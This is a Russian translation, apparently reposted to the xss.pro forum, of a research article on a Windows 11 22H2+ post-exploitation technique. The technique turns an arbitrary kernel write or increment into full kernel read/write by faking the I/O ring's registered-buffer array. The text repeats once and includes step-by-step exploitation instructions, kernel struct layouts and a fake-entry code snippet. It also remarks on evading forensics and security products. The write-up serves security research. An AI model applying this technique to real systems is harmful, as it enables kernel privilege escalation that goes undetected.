Оригинальная статья
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski
Вместо встепления
Эта техника представляет собой примитив пост-эксплуатации, уникальный для Windows 11 22H2+ - здесь нет 0дей. Вместо этого есть способ превратить произвольную запись или даже произвольный инкремент в ядре Windows в полное чтение/запись памяти ядра.
Справочная информация
Эксплуатация ядра (и вообще эксплуатация) в Windows становится все сложнее с каждой новой версией. Благодаря Driver Signature Enforcement злоумышленникам стало сложнее загружать неподписанные драйверы, а позже HVCI сделал это полностью невозможным - с дополнительной сложностью в виде списка блоков драйверов, не позволяющего злоумышленникам загружать подписанные уязвимые драйверы. SMEP и KCFG защищают от перенаправления кода через перезапись указателей функций, а KCET также делает невозможным ROP. Другие функции VBS, такие как KDP, защищают данные ядра, поэтому такие распространенные цели, как g_CiOptions, не могут быть изменены злоумышленником. Кроме того, существуют Patch Guard и Secure Kernel Patch Guard, которые проверяют целостность ядра и многих его компонентов.
Благодаря всем существующим мерам защиты, простое обнаружение ошибки "пользователь->ядро" больше не гарантирует успешную эксплуатацию. В Windows 11 со всеми включенными средствами защиты практически невозможно добиться выполнения кода Ring 0. Однако атаки на основе данных все еще являются жизнеспособным решением.
Известная техника атаки только на данные заключается в создании поддельной структуры режима ядра в пользовательском режиме, а затем обманом заставляет ядро использовать ее с помощью ошибки write-what-where (или любой другой ошибки, которая может этого достичь). Ядро будет рассматривать эту структуру как действительные данные ядра, что позволит злоумышленнику добиться повышения привилегий, манипулируя данными в структуре и тем самым манипулируя действиями ядра, которые выполняются на основе этих данных. Существует множество примеров этой техники, которая использовалась по-разному. Например, использование поддельной таблицы маркеров для превращения ошибки off-by-one в произвольную запись, а затем использование этого для запуска шеллкода в кольце 0. Многие другие примеры используют преимущества различных объектов Win32k для достижения произвольного чтения, записи или и того, и другого. Некоторые из этих методов уже были исправлены Microsoft, другие уже известны и исправляются производителями продуктов безопасности, а третьи все еще пригодны для использования и, скорее всего, используются в "дикой природе".
В этой заметке я хотел бы добавить еще одну технику - использование предварительно зарегистрированных буферов кольца ввода-вывода для создания примитива чтения/записи, используя 1-2 произвольные записи ядра (или приращения). Эта техника использует новый тип объекта, который в настоящее время имеет очень ограниченную видимость для продуктов безопасности и, вероятно, будет игнорироваться некоторое время. Метод очень прост в использовании - как только вы поймете лежащий в основе механизм кольца ввода-вывода.
Кольцо ввода-вывода
Вкратце, I/O ring - это новый механизм асинхронного ввода/вывода, который позволяет приложению ставить в очередь до 0x10000 операций ввода/вывода и отправлять их все одновременно, используя один вызов API. Этот механизм был создан по образцу Linux io_uring, поэтому их дизайн очень похож. На данный момент кольца ввода/вывода еще не поддерживают все возможные операции ввода/вывода. В Windows 11 22H2 доступны следующие операции: чтение, запись, промывка и отмена. Запрашиваемые операции записываются в очередь на подачу, а затем подаются все вместе. Ядро обрабатывает запросы и записывает коды состояния в очередь завершения - обе очереди находятся в общей области памяти, доступной как для пользовательского режима, так и для режима ядра, что позволяет совместно использовать данные без накладных расходов на многочисленные системные вызовы.
В дополнение к доступным операциям ввода-вывода приложение может поставить в очередь еще два типа операций, уникальных для кольца ввода-вывода: предрегистровые буферы и предрегистровые файлы. Эти опции позволяют приложению открыть все дескрипторы файлов или создать все буферы ввода/вывода заранее, зарегистрировать их и позже ссылаться на них по индексу в операциях ввода/вывода, поставленных в очередь через кольцо ввода/вывода. Когда ядро обрабатывает запись, использующую предварительно зарегистрированный файловый хэндл или буфер, оно извлекает запрошенный хэндл/буфер из предварительно зарегистрированного массива и передает его менеджеру ввода/вывода, где он обрабатывается обычным образом.
Вот пример записи в очередь с использованием предварительно зарегистрированного файлового хэндла и буфера:
Очередь отправки, готовая к отправке в ядро, может выглядеть примерно так:
Обсуждаемый здесь метод эксплуатации использует преимущества предварительно зарегистрированного массива буферов, поэтому давайте рассмотрим его более подробно.
Как я уже говорил, одной из операций, которую может выполнить приложение, является выделение всех буферов для будущих операций ввода/вывода, а затем их регистрация в кольце ввода/вывода. Ссылка на предварительно зарегистрированные буферы осуществляется через объект I/O ring:
Когда запрос обрабатывается, происходят следующие вещи:
IoRing->RegBuffers и IoRing->RegBuffersCount устанавливаются в ноль.
Ядро проверяет, что Sqe->RegisterBuffers.Buffers и Sqe->RegisterBuffers.Count не равны нулю.
Если запрос пришел из пользовательского режима, массив проверяется на то, что он полностью находится в адресном пространстве пользовательского режима. Размер массива может быть до sizeof(ULONG).
Если в кольце ранее был предварительно зарегистрированный массив буферов и размер нового буфера совпадает с размером старого буфера, старый массив буферов помещается обратно в кольцо, а новый буфер игнорируется.
Если предыдущие проверки пройдены и новый буферный массив должен быть использован, выделяется новый пул страниц - он будет использован для копирования данных из массива пользовательского режима и на него будет указывать IoRing->RegBuffers.
Если ранее существовал массив зарегистрированных буферов, на который указывало кольцо ввода/вывода, он копируется в новый массив ядра. Любые новые буферы будут добавлены в том же распределении, после старых буферов.
Каждая запись в массиве, отправленная из пользовательского режима, проверяется, чтобы убедиться, что запрашиваемый буфер полностью находится в пользовательском режиме, а затем копируется в массив ядра.
Старый массив ядра (если он существовал) освобождается, и операция завершается.
Весь этот процесс безопасен - данные считываются из пользовательского режима только один раз, проверяются и проверяются правильно, чтобы избежать переполнения и случайного чтения или записи адресов ядра. При любом дальнейшем использовании этих буферов они будут получены из буфера ядра.
Но что если у нас уже есть ошибка произвольной записи в ядро?
В этом случае мы можем перезаписать единственный указатель - IoRing->RegBuffers, чтобы направить его на поддельный буфер, который полностью находится под нашим контролем. Мы можем заполнить его адресами режима ядра и использовать их в качестве буферов в операциях ввода/вывода. Когда на буферы ссылаются по индексу, их не проверяют - ядро полагает, что если буферы были безопасны при регистрации, а затем скопированы в распределение ядра, то они будут безопасны и при обращении к ним в рамках операции.
Это означает, что с помощью одной произвольной записи и поддельного буферного массива мы можем получить полный контроль над адресным пространством ядра через операции чтения и записи.
Примитив
Как только IoRing->RegBuffers указывает на фальшивый, управляемый пользователем массив, мы можем использовать обычные операции кольца ввода-вывода для генерации операций чтения и записи ядра в любые адреса, которые мы хотим, указывая индекс нашего фальшивого массива для использования в качестве буфера:
Операция чтения + адрес ядра: Ядро будет "читать" из файла по нашему выбору в указанный адрес ядра, что приведет к произвольной записи.
Операция записи + адрес ядра: Ядро будет "записывать" данные по указанному адресу в файл по нашему выбору, что приводит к произвольному чтению.
Изначально мой примитив полагался на файлы для чтения и записи, но Алекс предложил использовать вместо них именованные pipe, что гораздо круче и гораздо менее заметно, не оставляя следов на диске. Поэтому в остальной части статьи и в коде эксплойта будут использоваться именованные pipe.
Как вы можете видеть, сама техника довольно проста. Настолько проста, что даже не требует использования каких-либо (ну, почти) недокументированных API или секретных структур данных. Она использует Win32 API и структуры, которые доступны в публичных символах ntoskrnl.exe. Примитив эксплойта включает в себя следующие шаги:
Создайте две именованные pipe с помощью CreateNamedPipe: одна будет использоваться для входа для произвольной записи ядра, а другая - для выхода для произвольного чтения ядра. По крайней мере, pipe, который будет использоваться как входная, должна быть создана с флагом PIPE_ACCESS_DUPLEX, чтобы разрешить как чтение, так и запись. Я решил создать оба pipe с PIPE_ACCESS_DUPLEX для удобства.
Откройте клиентские хэндлы для обоих pipe с помощью CreateFile, оба с разрешениями на чтение и запись.
Создайте кольцо ввода-вывода: это можно сделать с помощью API CreateIoRing.
Выделите массив фальшивых буферов в куче: в 22H2 массив зарегистрированных буферов представляет собой плоский массив, каждая запись которого содержит адрес и длину буфера, поэтому его легко выделить и настроить.
Найти адрес вновь созданного объекта кольца ввода/вывода: поскольку кольца ввода/вывода используют новый тип объекта, IORING_OBJECT, мы можем утечь его адрес с помощью хорошо известной техники обхода KASLR. NtQuerySystemInformation с SystemHandleInformation сливает ядру адреса объектов, включая наш новый объект кольца ввода/вывода. К счастью, внутренняя структура IORING_OBJECT находится в общедоступных символах, поэтому нет необходимости в обратном проектировании структуры, чтобы найти смещение RegBuffers. Мы складываем их вместе, чтобы получить цель для нашей произвольной записи.
К сожалению, этот API, как и многие другие обходные пути KASLR, может использоваться только процессами с Medium IL или выше, поэтому процессы с низким IL, процессы в песочнице и браузеры не могут его использовать, и им придется искать другой метод.
Используйте предпочитаемую вами ошибку произвольной записи для перезаписи IoRing->RegBuffers адресом поддельного массива пользовательского режима. Обратите внимание, что если вы ранее не регистрировали действительный массив буферов, вам также придется перезаписать IoRing->RegBuffersCount, чтобы он имел ненулевое значение.
Заполните массив фальшивых буферов указателями ядра для чтения или записи: для этого вам могут понадобиться другие обходные пути KASLR, чтобы найти целевые адреса. Вы можете использовать NtQuerySystemInformation с классом SystemModuleInformation для поиска базовых адресов модулей ядра, использовать ту же технику, что и ранее для поиска адресов объектов ядра, или использовать указатели, доступные внутри самого кольца ввода/вывода, которые указывают на структуры данных в пуле paged.
Поставить в очередь операции чтения и записи в кольце ввода/вывода с помощью BuildIoRingReadFile и BuildIoRingWriteFile.
С помощью этого метода произвольные операции чтения и записи не ограничиваются размером указателя, как во многих других методах, а могут быть размером sizeof(ULONG), читая или записывая много страниц данных ядра одновременно.
Очистка
Эта техника требует минимальной очистки: все, что требуется, это установить IoRing->RegBuffers в ноль перед закрытием хэндла объекта кольца ввода/вывода. Пока указатель равен нулю, ядро не будет пытаться ничего освободить, даже если IoRing->RegBuffersCount будет ненулевым.
Очистка становится немного сложнее, если вы решили сначала зарегистрировать действительный буферный массив, а затем перезаписать существующий указатель в объекте I/O ring - в этом случае уже есть выделенный буфер ядра, который также добавляет счетчик ссылок в объект EPROCESS. В этом случае счетчик ссылок EPROCESS RefCount нужно будет уменьшить перед выходом процесса, чтобы не оставить "несвежий" процесс. К счастью, это легко сделать с помощью еще одного произвольного чтения + записи, используя нашу существующую технику.
Произвольный инкремент
Пару лет назад я опубликовал серию блогов, в которых обсуждалась CVE-2020-1034 - уязвимость произвольного инкремента в EtwpNotifyGuid. Тогда я сосредоточился на проблемах эксплуатации этой ошибки и использовал ее для увеличения привилегий токена процесса - очень известная техника повышения привилегий. Этот метод работает, хотя его можно обнаружить в реальном времени или задним числом с помощью различных инструментов. Поставщики средств безопасности хорошо осведомлены об этой технике, и многие из них уже обнаруживают ее.
Этот проект заставил меня заинтересоваться другими способами эксплуатации этого конкретного класса ошибок - произвольного увеличения адреса ядра, поэтому я был очень рад найти технику эксплуатации, которая наконец-то подошла. С помощью метода, который я представил здесь, вы можете использовать произвольный инкремент для увеличения IoRing->RegBuffers от 0 до адреса пользовательского режима, например 0x1000000 (нет необходимости в инкременте 0x1000000, просто увеличьте 3-й байт на единицу) и увеличения IoRing->RegBuffersCount от 0 до 1 или 0x100 (или больше). Это потребует от вас дважды вызвать ошибку, чтобы создать технику, но я рекомендую сделать это в любом случае, чтобы избежать дополнительной очистки, необходимой при перезаписи существующего указателя.
Экспертиза и обнаружение
Эта техника постэксплуатации очень мало заметна и оставляет мало криминалистических следов: Кольца ввода-вывода практически не видны через ETW, кроме как при создании, и техника не оставляет криминалистических следов в памяти. Единственная часть этой техники, видимая для продуктов безопасности, - это операции с именованными pipe, видимые для продуктов безопасности, использующих драйвер фильтра файловой системы (а большинство из них так и делают). Однако эти каналы являются локальными и не используются для чего-либо, что выглядит слишком подозрительно - они считывают и записывают небольшие объемы данных без определенного формата, поэтому они вряд ли будут отмечены как подозрительные.
Переносимые функции = переносимые эксплойты?
Кольца ввода/вывода в Windows были созданы по образцу Linux io_uring и имеют много общих функций, и это кольцо ничем не отличается. Linux io_uring также позволяет регистрировать буферы или ручки файлов, а зарегистрированные буферы обрабатываются очень похоже и хранятся в поле user_bufs кольца. Это означает, что та же техника эксплуатации должна работать и в Linux (хотя я лично не проверял).
Основное различие между двумя системами в этом случае заключается в смягчении: в то время как в Windows сложно защититься от этой техники, в Linux есть смягчение, которое делает блокирование этой техники (по крайней мере, в ее текущей форме) тривиальным: SMAP. Это средство предотвращает доступ к адресам пользовательского режима с привилегиями режима ядра, блокируя любую технику эксплуатации, которая включает подделку структуры ядра в пользовательском режиме. К сожалению, из-за базовой конструкции системы Windows SMAP вряд ли когда-нибудь станет полезным средством защиты, но в Linux оно доступно и используется с 2012 года.
Конечно, все еще существуют способы обойти SMAP, например, формирование распределения пула ядра для использования в качестве поддельного массива буферов вместо адреса пользовательского режима или редактирование PTE страницы пользовательского режима, содержащей поддельный массив, но основной примитив эксплуатации не будет работать на системах, поддерживающих SMAP.
Изменения в 23H2
В предварительных сборках для 23H2 есть изменение, которое влияет на эту технику, но незначительно. Начиная с Windows 11 build 22610 буферный массив в ядре больше не является плоским массивом адресов и длин, а представляет собой массив указателей на новую структуру данных: IOP_MC_BUFFER_ENTRY:
Эта структура данных используется как часть возможности кэширования MDL, которая была добавлена в той же сборке. Она выглядит сложной и пугающей, но в нашем случае большинство этих полей никогда не используются и могут быть проигнорированы. У нас остались те же поля Address и Length, которые нужны для работы нашей техники, а для совместимости с требованиями новой возможности нам также нужно жестко закодировать несколько значений в полях Type, Size, AccessMode и ReferenceCount.
Чтобы адаптировать нашу технику к этому новому дополнению, вот какие изменения необходимо внести в наш код:
Выделить массив фальшивых буферов размером sizeof(PVOID) * NumberOfEntries.
Выделите структуру IOP_MC_BUFFER_ENTRY для каждого фальшивого буфера и поместите указатель в массив фальшивых буферов. Обнулите структуру, затем установите следующие поля:
Я загрузил свой PoC вот тут.. Он работает начиная с 22H2 (минимально поддерживаемая версия - до этой сборки кольца ввода/вывода еще не поддерживали операции записи) и до последней сборки Windows Preview (25415 на сегодня). Для моих ошибок произвольной записи/инкремента я использовал драйвер HEVD, перекомпилированный для поддержки произвольного инкремента. PoC поддерживает оба варианта, но если вы используете последний релиз HEVD, будет работать только вариант произвольной записи.
Для цели произвольного чтения я использовал страницу из секции данных ntoskrnl.exe - смещение секции жестко закодировано из-за лени, поэтому при изменении этого смещения может произойти самопроизвольный сбой.
Source.cpp
Header.h
github.com
Источник: https://windows-internals.com/one-i...l-read-write-exploit-primitive-on-windows-11/
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski
Вместо встепления
Эта техника представляет собой примитив пост-эксплуатации, уникальный для Windows 11 22H2+ - здесь нет 0дей. Вместо этого есть способ превратить произвольную запись или даже произвольный инкремент в ядре Windows в полное чтение/запись памяти ядра.
Справочная информация
Эксплуатация ядра (и вообще эксплуатация) в Windows становится все сложнее с каждой новой версией. Благодаря Driver Signature Enforcement злоумышленникам стало сложнее загружать неподписанные драйверы, а позже HVCI сделал это полностью невозможным - с дополнительной сложностью в виде списка блоков драйверов, не позволяющего злоумышленникам загружать подписанные уязвимые драйверы. SMEP и KCFG защищают от перенаправления кода через перезапись указателей функций, а KCET также делает невозможным ROP. Другие функции VBS, такие как KDP, защищают данные ядра, поэтому такие распространенные цели, как g_CiOptions, не могут быть изменены злоумышленником. Кроме того, существуют Patch Guard и Secure Kernel Patch Guard, которые проверяют целостность ядра и многих его компонентов.
Благодаря всем существующим мерам защиты, простое обнаружение ошибки "пользователь->ядро" больше не гарантирует успешную эксплуатацию. В Windows 11 со всеми включенными средствами защиты практически невозможно добиться выполнения кода Ring 0. Однако атаки на основе данных все еще являются жизнеспособным решением.
Известная техника атаки только на данные заключается в создании поддельной структуры режима ядра в пользовательском режиме, а затем обманом заставляет ядро использовать ее с помощью ошибки write-what-where (или любой другой ошибки, которая может этого достичь). Ядро будет рассматривать эту структуру как действительные данные ядра, что позволит злоумышленнику добиться повышения привилегий, манипулируя данными в структуре и тем самым манипулируя действиями ядра, которые выполняются на основе этих данных. Существует множество примеров этой техники, которая использовалась по-разному. Например, использование поддельной таблицы маркеров для превращения ошибки off-by-one в произвольную запись, а затем использование этого для запуска шеллкода в кольце 0. Многие другие примеры используют преимущества различных объектов Win32k для достижения произвольного чтения, записи или и того, и другого. Некоторые из этих методов уже были исправлены Microsoft, другие уже известны и исправляются производителями продуктов безопасности, а третьи все еще пригодны для использования и, скорее всего, используются в "дикой природе".
В этой заметке я хотел бы добавить еще одну технику - использование предварительно зарегистрированных буферов кольца ввода-вывода для создания примитива чтения/записи, используя 1-2 произвольные записи ядра (или приращения). Эта техника использует новый тип объекта, который в настоящее время имеет очень ограниченную видимость для продуктов безопасности и, вероятно, будет игнорироваться некоторое время. Метод очень прост в использовании - как только вы поймете лежащий в основе механизм кольца ввода-вывода.
Кольцо ввода-вывода
Вкратце, I/O ring - это новый механизм асинхронного ввода/вывода, который позволяет приложению ставить в очередь до 0x10000 операций ввода/вывода и отправлять их все одновременно, используя один вызов API. Этот механизм был создан по образцу Linux io_uring, поэтому их дизайн очень похож. На данный момент кольца ввода/вывода еще не поддерживают все возможные операции ввода/вывода. В Windows 11 22H2 доступны следующие операции: чтение, запись, промывка и отмена. Запрашиваемые операции записываются в очередь на подачу, а затем подаются все вместе. Ядро обрабатывает запросы и записывает коды состояния в очередь завершения - обе очереди находятся в общей области памяти, доступной как для пользовательского режима, так и для режима ядра, что позволяет совместно использовать данные без накладных расходов на многочисленные системные вызовы.
В дополнение к доступным операциям ввода-вывода приложение может поставить в очередь еще два типа операций, уникальных для кольца ввода-вывода: предрегистровые буферы и предрегистровые файлы. Эти опции позволяют приложению открыть все дескрипторы файлов или создать все буферы ввода/вывода заранее, зарегистрировать их и позже ссылаться на них по индексу в операциях ввода/вывода, поставленных в очередь через кольцо ввода/вывода. Когда ядро обрабатывает запись, использующую предварительно зарегистрированный файловый хэндл или буфер, оно извлекает запрошенный хэндл/буфер из предварительно зарегистрированного массива и передает его менеджеру ввода/вывода, где он обрабатывается обычным образом.
Вот пример записи в очередь с использованием предварительно зарегистрированного файлового хэндла и буфера:
Очередь отправки, готовая к отправке в ядро, может выглядеть примерно так:
Обсуждаемый здесь метод эксплуатации использует преимущества предварительно зарегистрированного массива буферов, поэтому давайте рассмотрим его более подробно.
Зарегистрированные буферы
Как я уже говорил, одной из операций, которую может выполнить приложение, является выделение всех буферов для будущих операций ввода/вывода, а затем их регистрация в кольце ввода/вывода. Ссылка на предварительно зарегистрированные буферы осуществляется через объект I/O ring:
Код:
typedef struct _IORING_OBJECT
{
USHORT Type;
USHORT Size;
NT_IORING_INFO UserInfo;
PVOID Section;
PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;
PMDL CompletionQueueMdl;
PNT_IORING_COMPLETION_QUEUE CompletionQueue;
ULONG64 ViewSize;
ULONG InSubmit;
ULONG64 CompletionLock;
ULONG64 SubmitCount;
ULONG64 CompletionCount;
ULONG64 CompletionWaitUntil;
KEVENT CompletionEvent;
UCHAR SignalCompletionEvent;
PKEVENT CompletionUserEvent;
ULONG RegBuffersCount;
PVOID RegBuffers;
ULONG RegFilesCount;
PVOID* RegFiles;
} IORING_OBJECT, *PIORING_OBJECT;
Когда запрос обрабатывается, происходят следующие вещи:
IoRing->RegBuffers и IoRing->RegBuffersCount устанавливаются в ноль.
Ядро проверяет, что Sqe->RegisterBuffers.Buffers и Sqe->RegisterBuffers.Count не равны нулю.
Если запрос пришел из пользовательского режима, массив проверяется на то, что он полностью находится в адресном пространстве пользовательского режима. Размер массива может быть до sizeof(ULONG).
Если в кольце ранее был предварительно зарегистрированный массив буферов и размер нового буфера совпадает с размером старого буфера, старый массив буферов помещается обратно в кольцо, а новый буфер игнорируется.
Если предыдущие проверки пройдены и новый буферный массив должен быть использован, выделяется новый пул страниц - он будет использован для копирования данных из массива пользовательского режима и на него будет указывать IoRing->RegBuffers.
Если ранее существовал массив зарегистрированных буферов, на который указывало кольцо ввода/вывода, он копируется в новый массив ядра. Любые новые буферы будут добавлены в том же распределении, после старых буферов.
Каждая запись в массиве, отправленная из пользовательского режима, проверяется, чтобы убедиться, что запрашиваемый буфер полностью находится в пользовательском режиме, а затем копируется в массив ядра.
Старый массив ядра (если он существовал) освобождается, и операция завершается.
Весь этот процесс безопасен - данные считываются из пользовательского режима только один раз, проверяются и проверяются правильно, чтобы избежать переполнения и случайного чтения или записи адресов ядра. При любом дальнейшем использовании этих буферов они будут получены из буфера ядра.
Но что если у нас уже есть ошибка произвольной записи в ядро?
В этом случае мы можем перезаписать единственный указатель - IoRing->RegBuffers, чтобы направить его на поддельный буфер, который полностью находится под нашим контролем. Мы можем заполнить его адресами режима ядра и использовать их в качестве буферов в операциях ввода/вывода. Когда на буферы ссылаются по индексу, их не проверяют - ядро полагает, что если буферы были безопасны при регистрации, а затем скопированы в распределение ядра, то они будут безопасны и при обращении к ним в рамках операции.
Это означает, что с помощью одной произвольной записи и поддельного буферного массива мы можем получить полный контроль над адресным пространством ядра через операции чтения и записи.
Примитив
Как только IoRing->RegBuffers указывает на фальшивый, управляемый пользователем массив, мы можем использовать обычные операции кольца ввода-вывода для генерации операций чтения и записи ядра в любые адреса, которые мы хотим, указывая индекс нашего фальшивого массива для использования в качестве буфера:
Операция чтения + адрес ядра: Ядро будет "читать" из файла по нашему выбору в указанный адрес ядра, что приведет к произвольной записи.
Операция записи + адрес ядра: Ядро будет "записывать" данные по указанному адресу в файл по нашему выбору, что приводит к произвольному чтению.
Изначально мой примитив полагался на файлы для чтения и записи, но Алекс предложил использовать вместо них именованные pipe, что гораздо круче и гораздо менее заметно, не оставляя следов на диске. Поэтому в остальной части статьи и в коде эксплойта будут использоваться именованные pipe.
Как вы можете видеть, сама техника довольно проста. Настолько проста, что даже не требует использования каких-либо (ну, почти) недокументированных API или секретных структур данных. Она использует Win32 API и структуры, которые доступны в публичных символах ntoskrnl.exe. Примитив эксплойта включает в себя следующие шаги:
Создайте две именованные pipe с помощью CreateNamedPipe: одна будет использоваться для входа для произвольной записи ядра, а другая - для выхода для произвольного чтения ядра. По крайней мере, pipe, который будет использоваться как входная, должна быть создана с флагом PIPE_ACCESS_DUPLEX, чтобы разрешить как чтение, так и запись. Я решил создать оба pipe с PIPE_ACCESS_DUPLEX для удобства.
Откройте клиентские хэндлы для обоих pipe с помощью CreateFile, оба с разрешениями на чтение и запись.
Создайте кольцо ввода-вывода: это можно сделать с помощью API CreateIoRing.
Выделите массив фальшивых буферов в куче: в 22H2 массив зарегистрированных буферов представляет собой плоский массив, каждая запись которого содержит адрес и длину буфера, поэтому его легко выделить и настроить.
Найти адрес вновь созданного объекта кольца ввода/вывода: поскольку кольца ввода/вывода используют новый тип объекта, IORING_OBJECT, мы можем утечь его адрес с помощью хорошо известной техники обхода KASLR. NtQuerySystemInformation с SystemHandleInformation сливает ядру адреса объектов, включая наш новый объект кольца ввода/вывода. К счастью, внутренняя структура IORING_OBJECT находится в общедоступных символах, поэтому нет необходимости в обратном проектировании структуры, чтобы найти смещение RegBuffers. Мы складываем их вместе, чтобы получить цель для нашей произвольной записи.
К сожалению, этот API, как и многие другие обходные пути KASLR, может использоваться только процессами с Medium IL или выше, поэтому процессы с низким IL, процессы в песочнице и браузеры не могут его использовать, и им придется искать другой метод.
Используйте предпочитаемую вами ошибку произвольной записи для перезаписи IoRing->RegBuffers адресом поддельного массива пользовательского режима. Обратите внимание, что если вы ранее не регистрировали действительный массив буферов, вам также придется перезаписать IoRing->RegBuffersCount, чтобы он имел ненулевое значение.
Заполните массив фальшивых буферов указателями ядра для чтения или записи: для этого вам могут понадобиться другие обходные пути KASLR, чтобы найти целевые адреса. Вы можете использовать NtQuerySystemInformation с классом SystemModuleInformation для поиска базовых адресов модулей ядра, использовать ту же технику, что и ранее для поиска адресов объектов ядра, или использовать указатели, доступные внутри самого кольца ввода/вывода, которые указывают на структуры данных в пуле paged.
Поставить в очередь операции чтения и записи в кольце ввода/вывода с помощью BuildIoRingReadFile и BuildIoRingWriteFile.
С помощью этого метода произвольные операции чтения и записи не ограничиваются размером указателя, как во многих других методах, а могут быть размером sizeof(ULONG), читая или записывая много страниц данных ядра одновременно.
Очистка
Эта техника требует минимальной очистки: все, что требуется, это установить IoRing->RegBuffers в ноль перед закрытием хэндла объекта кольца ввода/вывода. Пока указатель равен нулю, ядро не будет пытаться ничего освободить, даже если IoRing->RegBuffersCount будет ненулевым.
Очистка становится немного сложнее, если вы решили сначала зарегистрировать действительный буферный массив, а затем перезаписать существующий указатель в объекте I/O ring - в этом случае уже есть выделенный буфер ядра, который также добавляет счетчик ссылок в объект EPROCESS. В этом случае счетчик ссылок EPROCESS RefCount нужно будет уменьшить перед выходом процесса, чтобы не оставить "несвежий" процесс. К счастью, это легко сделать с помощью еще одного произвольного чтения + записи, используя нашу существующую технику.
Произвольный инкремент
Пару лет назад я опубликовал серию блогов, в которых обсуждалась CVE-2020-1034 - уязвимость произвольного инкремента в EtwpNotifyGuid. Тогда я сосредоточился на проблемах эксплуатации этой ошибки и использовал ее для увеличения привилегий токена процесса - очень известная техника повышения привилегий. Этот метод работает, хотя его можно обнаружить в реальном времени или задним числом с помощью различных инструментов. Поставщики средств безопасности хорошо осведомлены об этой технике, и многие из них уже обнаруживают ее.
Этот проект заставил меня заинтересоваться другими способами эксплуатации этого конкретного класса ошибок - произвольного увеличения адреса ядра, поэтому я был очень рад найти технику эксплуатации, которая наконец-то подошла. С помощью метода, который я представил здесь, вы можете использовать произвольный инкремент для увеличения IoRing->RegBuffers от 0 до адреса пользовательского режима, например 0x1000000 (нет необходимости в инкременте 0x1000000, просто увеличьте 3-й байт на единицу) и увеличения IoRing->RegBuffersCount от 0 до 1 или 0x100 (или больше). Это потребует от вас дважды вызвать ошибку, чтобы создать технику, но я рекомендую сделать это в любом случае, чтобы избежать дополнительной очистки, необходимой при перезаписи существующего указателя.
Экспертиза и обнаружение
Эта техника постэксплуатации очень мало заметна и оставляет мало криминалистических следов: Кольца ввода-вывода практически не видны через ETW, кроме как при создании, и техника не оставляет криминалистических следов в памяти. Единственная часть этой техники, видимая для продуктов безопасности, - это операции с именованными pipe, видимые для продуктов безопасности, использующих драйвер фильтра файловой системы (а большинство из них так и делают). Однако эти каналы являются локальными и не используются для чего-либо, что выглядит слишком подозрительно - они считывают и записывают небольшие объемы данных без определенного формата, поэтому они вряд ли будут отмечены как подозрительные.
Переносимые функции = переносимые эксплойты?
Кольца ввода/вывода в Windows были созданы по образцу Linux io_uring и имеют много общих функций, и это кольцо ничем не отличается. Linux io_uring также позволяет регистрировать буферы или ручки файлов, а зарегистрированные буферы обрабатываются очень похоже и хранятся в поле user_bufs кольца. Это означает, что та же техника эксплуатации должна работать и в Linux (хотя я лично не проверял).
Основное различие между двумя системами в этом случае заключается в смягчении: в то время как в Windows сложно защититься от этой техники, в Linux есть смягчение, которое делает блокирование этой техники (по крайней мере, в ее текущей форме) тривиальным: SMAP. Это средство предотвращает доступ к адресам пользовательского режима с привилегиями режима ядра, блокируя любую технику эксплуатации, которая включает подделку структуры ядра в пользовательском режиме. К сожалению, из-за базовой конструкции системы Windows SMAP вряд ли когда-нибудь станет полезным средством защиты, но в Linux оно доступно и используется с 2012 года.
Конечно, все еще существуют способы обойти SMAP, например, формирование распределения пула ядра для использования в качестве поддельного массива буферов вместо адреса пользовательского режима или редактирование PTE страницы пользовательского режима, содержащей поддельный массив, но основной примитив эксплуатации не будет работать на системах, поддерживающих SMAP.
Изменения в 23H2
В предварительных сборках для 23H2 есть изменение, которое влияет на эту технику, но незначительно. Начиная с Windows 11 build 22610 буферный массив в ядре больше не является плоским массивом адресов и длин, а представляет собой массив указателей на новую структуру данных: IOP_MC_BUFFER_ENTRY:
Код:
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
PMDL Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
IOP_MC_BE_PAGE_NODE PageNodes[1];
} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;
Эта структура данных используется как часть возможности кэширования MDL, которая была добавлена в той же сборке. Она выглядит сложной и пугающей, но в нашем случае большинство этих полей никогда не используются и могут быть проигнорированы. У нас остались те же поля Address и Length, которые нужны для работы нашей техники, а для совместимости с требованиями новой возможности нам также нужно жестко закодировать несколько значений в полях Type, Size, AccessMode и ReferenceCount.
Чтобы адаптировать нашу технику к этому новому дополнению, вот какие изменения необходимо внести в наш код:
Выделить массив фальшивых буферов размером sizeof(PVOID) * NumberOfEntries.
Выделите структуру IOP_MC_BUFFER_ENTRY для каждого фальшивого буфера и поместите указатель в массив фальшивых буферов. Обнулите структуру, затем установите следующие поля:
Код:
mcBufferEntry->Address = TargetAddress;
mcBufferEntry->Length = Length;
mcBufferEntry->Type = 0xc02;
mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
mcBufferEntry->AccessMode = 1;
mcBufferEntry->ReferenceCount = 1;
Я загрузил свой PoC вот тут.. Он работает начиная с 22H2 (минимально поддерживаемая версия - до этой сборки кольца ввода/вывода еще не поддерживали операции записи) и до последней сборки Windows Preview (25415 на сегодня). Для моих ошибок произвольной записи/инкремента я использовал драйвер HEVD, перекомпилированный для поддержки произвольного инкремента. PoC поддерживает оба варианта, но если вы используете последний релиз HEVD, будет работать только вариант произвольной записи.
Для цели произвольного чтения я использовал страницу из секции данных ntoskrnl.exe - смещение секции жестко закодировано из-за лени, поэтому при изменении этого смещения может произойти самопроизвольный сбой.
IoRingReadWritePrimitive
Post exploitation technique to turn arbitrary kernel write / increment into full read/write primitive on Windows 11 22H2+ This PoC is using the HackSysExtremeVulnerableDriver. The PoC supports both arbitrary write and arbitrary increment, controlled through a flag passed into the function from main(). For arbitrary increment, compile the latest HEVD driver from source.
Writeup: https://windows-internals.com/one-i...l-read-write-exploit-primitive-on-windows-11/
